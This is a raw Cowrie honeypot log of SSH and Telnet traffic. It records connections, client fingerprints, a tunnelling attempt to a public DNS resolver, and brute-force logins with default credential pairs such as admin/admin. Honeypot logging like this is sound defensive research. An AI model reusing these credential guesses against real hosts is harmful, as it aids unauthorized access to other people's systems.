{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:32.017403Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:32.022611Z","src_ip":"14.248.83.33","session":"7b43b8ad522a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e935172c39c","protocol":"telnet","message":"New connection: 174.138.46.234:41992 (159.203.135.109:23) [session: 4e935172c39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:49.742985Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42138,"dst_ip":"159.203.135.109","dst_port":23,"session":"67a19c0da9e0","protocol":"telnet","message":"New connection: 174.138.46.234:42138 (159.203.135.109:23) [session: 67a19c0da9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:50.296570Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a123f3bb964f","protocol":"telnet","message":"New connection: 174.138.46.234:42280 (159.203.135.109:23) [session: a123f3bb964f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:51.709492Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":55660,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b017a5702b8","protocol":"telnet","message":"New connection: 64.41.88.162:55660 (159.203.135.109:23) [session: 8b017a5702b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:53.762441Z"}
{"eventid":"cowrie.session.closed","duration":5.9919984340667725,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:56.288450Z","src_ip":"174.138.46.234","session":"67a19c0da9e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.2851033210754395,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:57.027973Z","src_ip":"174.138.46.234","session":"4e935172c39c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32284,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f4c687c23a2","protocol":"ssh","message":"New connection: 87.251.64.176:32284 (10.17.0.5:22) [session: 1f4c687c23a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:13.834781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:13.846400Z","src_ip":"87.251.64.176","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:13.943357Z","src_ip":"87.251.64.176","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:14.231837Z","src_ip":"87.251.64.176","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:14.332245Z","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:14.432026Z","src_ip":"87.251.64.176","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:14.531452Z","src_ip":"87.251.64.176","session":"1f4c687c23a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":23600,"dst_ip":"159.203.135.109","dst_port":22,"session":"433516e8da6d","protocol":"ssh","message":"New connection: 14.248.83.33:23600 (159.203.135.109:22) [session: 433516e8da6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:23.923155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:23.927776Z","src_ip":"14.248.83.33","session":"433516e8da6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:24.169350Z","src_ip":"14.248.83.33","session":"433516e8da6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nimda","message":"login attempt [admin/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:25.166274Z","src_ip":"14.248.83.33","session":"433516e8da6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:26.412124Z","src_ip":"14.248.83.33","session":"433516e8da6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.324422121047974,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:29.086766Z","src_ip":"64.41.88.162","session":"8b017a5702b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.35983395576477,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:41:46.069222Z","src_ip":"174.138.46.234","session":"a123f3bb964f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":61254,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c6d375e758c","protocol":"ssh","message":"New connection: 14.248.83.33:61254 (159.203.135.109:22) [session: 6c6d375e758c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:22.436092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:22.441481Z","src_ip":"14.248.83.33","session":"6c6d375e758c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:22.683718Z","src_ip":"14.248.83.33","session":"6c6d375e758c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netxms","message":"login attempt [admin/netxms] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:23.674362Z","src_ip":"14.248.83.33","session":"6c6d375e758c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:24.918461Z","src_ip":"14.248.83.33","session":"6c6d375e758c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45766,"dst_ip":"159.203.135.109","dst_port":23,"session":"41805fcd14b1","protocol":"telnet","message":"New connection: 174.138.46.234:45766 (159.203.135.109:23) [session: 41805fcd14b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:42.375637Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45898,"dst_ip":"159.203.135.109","dst_port":23,"session":"138ffe2bcb96","protocol":"telnet","message":"New connection: 174.138.46.234:45898 (159.203.135.109:23) [session: 138ffe2bcb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:42.827530Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45966,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1ea5f2ca809","protocol":"telnet","message":"New connection: 174.138.46.234:45966 (159.203.135.109:23) [session: d1ea5f2ca809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:43.081699Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46018,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8094ec3d82d","protocol":"telnet","message":"New connection: 174.138.46.234:46018 (159.203.135.109:23) [session: f8094ec3d82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:44.224676Z"}
{"eventid":"cowrie.session.closed","duration":3.951812982559204,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:46.327363Z","src_ip":"174.138.46.234","session":"41805fcd14b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.965174436569214,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:49.189750Z","src_ip":"174.138.46.234","session":"f8094ec3d82d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.820988655090332,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:50.902568Z","src_ip":"174.138.46.234","session":"d1ea5f2ca809","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":39200,"dst_ip":"159.203.135.109","dst_port":22,"session":"874329ffd13c","protocol":"ssh","message":"New connection: 209.38.20.25:39200 (159.203.135.109:22) [session: 874329ffd13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:57.534342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:57.540165Z","src_ip":"209.38.20.25","session":"874329ffd13c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:57.753041Z","src_ip":"209.38.20.25","session":"874329ffd13c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"123","message":"login attempt [csserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:58.634288Z","src_ip":"209.38.20.25","session":"874329ffd13c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:42:59.849654Z","src_ip":"209.38.20.25","session":"874329ffd13c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":31822,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b05055d1369","protocol":"ssh","message":"New connection: 14.248.83.33:31822 (159.203.135.109:22) [session: 9b05055d1369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:22.795301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:22.801125Z","src_ip":"14.248.83.33","session":"9b05055d1369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:23.045305Z","src_ip":"14.248.83.33","session":"9b05055d1369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57306,"dst_ip":"159.203.135.109","dst_port":23,"session":"389e9c88b6b1","protocol":"telnet","message":"New connection: 174.138.46.234:57306 (159.203.135.109:23) [session: 389e9c88b6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:23.234179Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdasd","message":"login attempt [ubuntu/asdasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:24.037657Z","src_ip":"14.248.83.33","session":"9b05055d1369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57818,"dst_ip":"159.203.135.109","dst_port":23,"session":"40a263cd3c10","protocol":"telnet","message":"New connection: 174.138.46.234:57818 (159.203.135.109:23) [session: 40a263cd3c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:24.890523Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:25.280585Z","src_ip":"14.248.83.33","session":"9b05055d1369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2b6ee4a9082","protocol":"telnet","message":"New connection: 174.138.46.234:57968 (159.203.135.109:23) [session: e2b6ee4a9082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:25.460363Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58048,"dst_ip":"159.203.135.109","dst_port":23,"session":"e554d31a963e","protocol":"telnet","message":"New connection: 174.138.46.234:58048 (159.203.135.109:23) [session: e554d31a963e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:25.698727Z"}
{"eventid":"cowrie.session.closed","duration":3.980254888534546,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:29.440496Z","src_ip":"174.138.46.234","session":"e2b6ee4a9082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.957685947418213,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:30.848082Z","src_ip":"174.138.46.234","session":"40a263cd3c10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.932371377944946,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:32.630961Z","src_ip":"174.138.46.234","session":"e554d31a963e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.600703716278076,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:35.428094Z","src_ip":"174.138.46.234","session":"138ffe2bcb96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":57310,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4882f226d53","protocol":"ssh","message":"New connection: 209.38.20.25:57310 (159.203.135.109:22) [session: c4882f226d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:56.611888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:43:56.616593Z","src_ip":"209.38.20.25","session":"c4882f226d53","protocol":"ssh"}
